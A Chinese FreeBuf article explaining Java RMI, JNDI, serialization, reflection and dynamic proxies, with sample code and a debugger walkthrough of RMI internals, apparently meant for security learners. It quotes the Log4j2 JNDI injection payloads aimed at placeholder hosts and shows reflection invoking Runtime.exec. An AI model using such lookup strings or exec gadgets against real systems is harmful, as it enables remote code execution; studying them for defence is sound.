freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

剖析Java-RMI通信造成的安全隐患
2022-07-15 14:10:24
所属地 北京

java

java8和java9,如果有人用javase9的话,有些包的包名不太一样:

  • javase8的包javax

  • javase9的包是Jakarta

从21年比赛里面慢慢增加了Java安全的部分,php(基本漏洞+反序列化)和node.js(污染链)就开始少了,java很安全,然后这两年不停地爆出一些高危漏洞。

从fastjson就开始非常频繁的曝出漏洞了,然后就是21年的log4j2,以下是网上流传最广的两种payload:

  • 第一种:${jndi:ldap://xxxx.com.cn}
  • 第二种:${jndi:rmi://xxxxx.com.cn}

有些人就会疑惑,利用jndi配合ldap、rmi去做攻击。

我们现在思考一个问题,JNDI是什么:

1)JNDI是由sun公司提供的一种标准的命名系统的接口,它可以把对象和名称给联系起来,可以使我们用一个名称来访问对象;

2)简单来说,它是一个数据源,这个数据源中有一组或者多组。

例如:

$Key1 = value1

$Key2 = value2

RMI是什么?

1)RMI是Java的一组开发分布式应用的API;

2)RMI可以调用远程的方法,比如我们用A主机想要调用B主机上的方法,我们可以让B主机开一个1099端口(RMI服务),然后把这个A想要的类放上去,然后A就可以调用。

既然是远程的方法调用,那如果远程的服务器上有一个可以利用的恶意类,我们是不是就可以去这个远程的主机上调用这个恶意的对象,不过我们要配合一些利用链,最经典的就是apache commons-collections3.1的利用链。

我们现在思考一个问题,jndi和rmi配合起来可以干什么?

1)JNDI(Java Naming and Directory Interface)是对目录的再封装;

2)假如我们写了一个rmi,再写一个ldap,那么访问的形式(代码形式)是完全不一样的;

3)那这个调用的问题怎么解决?这里就得用到这个jndi,可以让你用几乎差不多的代码形式去调用不同的服务,能够让开发的过程更标准化更轻松。

ldap是什么?

它是一种单点登录的服务。

举个例子:

你想访问你学校的网站,你学校的网站是http://xxxxx/:

1)你访问了http://xxxxx/1/,但是这个服务你要登录;

2)然后你登录了这个1服务,但是现在这个1服务用完了,你继续想去调用2号服务;

3)所以你就需要访问http://xxxxx/2/,访问还得有一次身份验证;

4)ldap可以让你访问2的时候不需要去验证。

咱今天讨论的是什么?

一谈到java就是反序列化,因为java的接口很成熟了,不像php的一些网站的开发,要自己写接口服务,java就连一些你可能会用到的功能,也给你封装成了接口你用就行,所以更加的规范化。每次传输一些东西特别是网络传输,它就要给这个要传输的东西封装+传输+解封装。

这个封装和解封装就是序列化和反序列化,在php里面,反序列化和序列化是对应unserialize和serialize。

在java中它对应的是:

writeObject() 存

readObject() 读

然后解析readObject的时候就可能解析到一个恶意的流,这可能导致一些意外发生。

序列化基本概念

  • 序列化:将对象写进IO流

  • 反序列化:将对象从IO流取出来

作用:就是实现Java对象转换成字节序列,这些字节可以放到磁盘,可以网络传输,达到了目的地就可以恢复成原来的对象,序列化的机制可以让对象脱离程序成一个独立的存在。

注意!!java的序列化只保存属性,不存方法。

1)提到Java接口,所以序列化和反序列化的接口也是现成的,要实现一个java.io.Serializable或者说java.io.Externalizable接口;

2)使用已经在JDK中定义好的类ObjectOutputStream(对象的输出流)和ObjectInputStream(对象的输入流);

3)transient关键字修饰后,这个属性不可以被序列化。

序列化代码的实现

package com.MySerialize;/*** 学生接口类*/public interface Student {public String Study();}package com.MySerialize;import java.io.Serializable;/*** 学生实现类*/public class StudentsImpl implements com.MySerialize.Student, Serializable {public static final long serialVersionUID = 123L;public int age;public String name;public StudentsImpl(int age, String name) {System.out.println("学生实现类被执行了...");this.age = age;this.name = name;}public String Study() {return this.name + "同学的年龄是:" + this.age;}@Overridepublic String toString() {return "StudentsImpl{" +"age=" + age +", name='" + name + '\'' +'}';}}package com.MySerialize;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class MywriteObj {public static void main(String[] args) throws IOException{com.MySerialize.Student student = newcom.MySerialize.StudentsImpl(3,"nnn");System.out.println(student.Study());//创建个文件ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("mywrite.txt"));//写入内容oos.writeObject(student);//强制写出缓存区数据oos.flush();oos.close();;}}package com.MySerialize;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class MyreadObj implements Serializable{public static void main(String[] args) throws IOException {ObjectInputStream ois = new ObjectInputStream(newFileInputStream("mywrite.txt"));Object obj = null;try {obj = ois.readObject();} catch (ClassNotFoundException e) {e.printStackTrace();}System.out.println(obj);obj.toString();ois.close();}}

这段代码就是正常情况下的序列化和反序列化,如果给一个参数例如age设置了一个修饰符transient,name,在序列化回来后调用totring方法就会把age打印成空。

反射机制

既然说到了序列化漏洞,那必须得说说反射机制,因为大部分的序列化漏洞都是用这个机制进行代码执行。

反射是什么?

Java反射是对于任意一个类,我们都可以知道它的属性、方法,对于任意一个对象,都可以调用它的方法、属性,这种动态获得信息以及调用方法的方式称为反射机制。

反射有什么用?

  • 通过反射你可以直接去操作字节码片段
  • 反射机制可以操作代码片段(class文件)

三种获取class的方法:

1) Class.forName("完整的一个包名")

2) 对象.getClass()

3) 任何类型(对象).class

package com.mytest;public class testdemo {public static void main(String[] args) throws ClassNotFoundException{System.out.println(Class.forName("com.mytest.kk"));kk kk = new kk();System.out.println(kk.getClass());System.out.println(kk.class);}}

反射里面实例化一个对象的方法

1) 对象.newInstance();

2) 必须有无参构造

package com.mytest;public class testdemo {public static void main(String[] args)throws ClassNotFoundException,InstantiationException,IllegalAccessException {System.out.println(Class.forName("com.mytest.kk"));kk kk = new kk();System.out.println(kk.getClass());System.out.println(kk.class);Object obj = Class.forName("com.mytest.kk").newInstance();System.out.println(obj);}}

接下来我们得说一说方法调用的问题:

  • getMethod():可以通过传参封装进去一个方法名

  • invoke():通过传入类和参数来调用类中的方法

怎么用?

跟getMethod配合使用,getMethod获得一个封装好的Method对象,method.invoke(对象,参数)。

代码改造

public void ExecTest(){//最简单的写法 ,也就是不用反射的写法//Runtime.getRuntime().exec("calc.exe");try {Class c = Class.forName("java.lang.Runtime");Object obj = c.getMethod("getRuntime",null).invoke(null); String[] n0 = {"calc.exe"};c.getMethod("exec", String.class).invoke(obj,n0);} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();}}

动态机制代理

基于反射机制,动态代理是利用反射机制来创建代理对象,java有两种动态代理机制:

1)jdk动态代理:通过反射机制,使用java.lang.reflect接口,必须有接口才能用;

2)cglib动态代理:通过继承类、创建子类,在子类中重写父类方法,实现功能修改,目标类方法不可以是final修饰,没有接口可以用。

我们现在只讲第一种。

RMI

它是一种分布式处理的RPC框架,咱既然都说到了RPC(remote procedure call远程过程调用)框架,那比如:

  • rmi(最早期的RPC框架)
  • grpc(谷歌的rpc)
  • Dubbo(阿里巴巴开源的RPC框架)

三个部分

  • Serve:提供远程对象,发布远程对象都是它来负责
  • Client:调用远程对象,连接注册中心获取远程对象
  • Registry:一个注册表,存放远程对象的位置,比如:远程的ip、端口、标识符等等...
  • Remote Skeleton:它是一个服务端使用的代理类
  • Remote stub:它是客户端使用的一个代理类

例如:有个DGC_stub那就有一个DGC_ske

JRMP(远程方法协议Java remote method protocol):它是一种协议,是Java特有的。

RMI基本的通信代码

package com.rmitest;import java.rmi.Remote;import java.rmi.RemoteException;/*** 定义一个远程接口* 远程接口的定义得用public修饰* 必须继承Remote* 必须调用java.rmi.Remote和java.rmi.RemoteException*/public interface rmidemo extends Remote {public String setName(String newname) throws RemoteException;public String getName() throws RemoteException;public String hello() throws RemoteException;}package com.rmitest;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;/*** 实现远程接口类* 继承远程接口所有的方法都得抛出RemoteException* 并且这个方法必须直接继承UnicastRemoteObject类(这个类他仍然会继承到remote中,所以是一个用来封装一些东西的类)* 这个类提供了支持RMI的方法,可以通过JRMP协议导出一个远程对象的引用,生成动态代理构造的stub* stub的构建其实是在服务端完成的,完成后用的人是客户*/public class rmidemoImpl extends UnicastRemoteObject implements rmidemo{private String name;public rmidemoImpl(String name) throws RemoteException {System.out.println("无参构造被调用了...");this.name = name;}@Overridepublic String setName(String newname) throws RemoteException {name = newname;return "您已经设置了用户" + name;}@Overridepublic String getName() throws RemoteException {return name;}@Overridepublic String hello() throws RemoteException {System.out.println("hello方法已经被调用了...");return null;}}package com.rmitest;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;/*** 创建客户端实体类*/public class client {public static void main(String[] agrs) throws RemoteException,NotBoundException {//获取远程主机对象Registry registry = LocateRegistry.getRegistry("localhost",1099);//利用注册表的代理去查询注册表中我们绑定的hello这个别名rmidemo rd = (rmidemo) registry.lookup("hello");//调用远程方法System.out.println(rd.hello());//利用注册表中的代理调用远程方法给name赋值System.out.println(rd.setName("kk"));System.out.println(rd.getName());}}package com.rmitest;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;/*** 服务端实体类*/public class server {public static void main(String[] args) throws RemoteException,AlreadyBoundException {//创建远程对象rmidemo rd = new rmidemoImpl("66");//注册表创建Registry registry = LocateRegistry.createRegistry(1099);//绑定一个对象到注册表中registry.bind("hello",rd);System.out.println("服务端已经创建成功了...");}}

RMI源码动态调试分析

服务端发布动态调试,首先去UnicastRemoteObject的无参构造方法打一个断点:

这里咱可以看到它调用了一次有参构造传参是一个int整形的形式:

之后它会调用一次exportObject(),然后传参是当前类和一个端口号,会new一个UnicastServerRef方法,后面咱管它叫远程服务引用:

然后它调用进来后会再调用一层LiveRef,后面咱管它叫实时引用:

这里它又套了一层objID,是一个id号我们不关心它怎么用,然后它会调用一次本类中的有参构造,传入的是一个对象和一个端口号0:

后来它会调用一个TCPEndpoint下的方法,这个方法是网络传输要用的:

后续会调用一个resampleLocalHost来解析本地主机,后来调用了一个TCPTransport打点跟进:

这里就是获取了一个ip,没有什么可利用点。

我们在debug的时候要分主次,第一次分析可以全看搞懂原理,但是第二次调试要分主次的调试,把中心放到认为可能出现漏洞的地方,就比如说传输数据。

这里会去调用exportObject

这里获取了一个字节码文件,当我们获取了字节码文件的时候,那肯定就是对这个类要做操作了,这里直接调用了createProxy创建代理,然后它会用stubClassExists()方法判断这个subclass存不存在:这里只是改了名称给拼了一块_Stub:这里设置了一个服务端用的代理类,但是进不去所以没办法做更多的操作。

后续会把我们已经封装好的一些东西再封装起来,放进target中:后续有一个垃圾回收机制的创建,也是个stub

注册表的创建客户端请求注册中心这里可以看到new了2个对象,中间的部分很长,咱们不直接去一点一点调,时间有限咱直接去主要的方法开始看:

writeObject(var1);this.ref.invoke(var2);var22 = (Remote)var4.readObject();

从静态流程来看的话,先写后读,我们如果给到一个恶意的流,它读的时候受到攻击。这里我们继续跟invoke:这里是一个激活的方法,只要请求走网络就调用,如果有一个漏洞,那很容易造成损失。这里有个readbject没任何防护,它是一个异常类,就是说有一个恶意的返回,那我们客户端会调用,所以客户端也会受到攻击,几乎每个网络请求都会走到这个方法中,所以这个方法很主要,rmi的设计之初也没想这个安全问题所以没任何过滤。

总结

我们可以用rmi服务来打服务端,服务端也能通过这个打客户端,后者一般是蜜罐中可以用。

高版本的绕过:高版本中绕过,其实是用服务端来调用服务端,服务端自身就是客户端,因为在修复的时候估计没有把客户端可能受到攻击当做一种影响,后来就被发掘了一下。

# java # 序列化和反序列化 # RMI安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录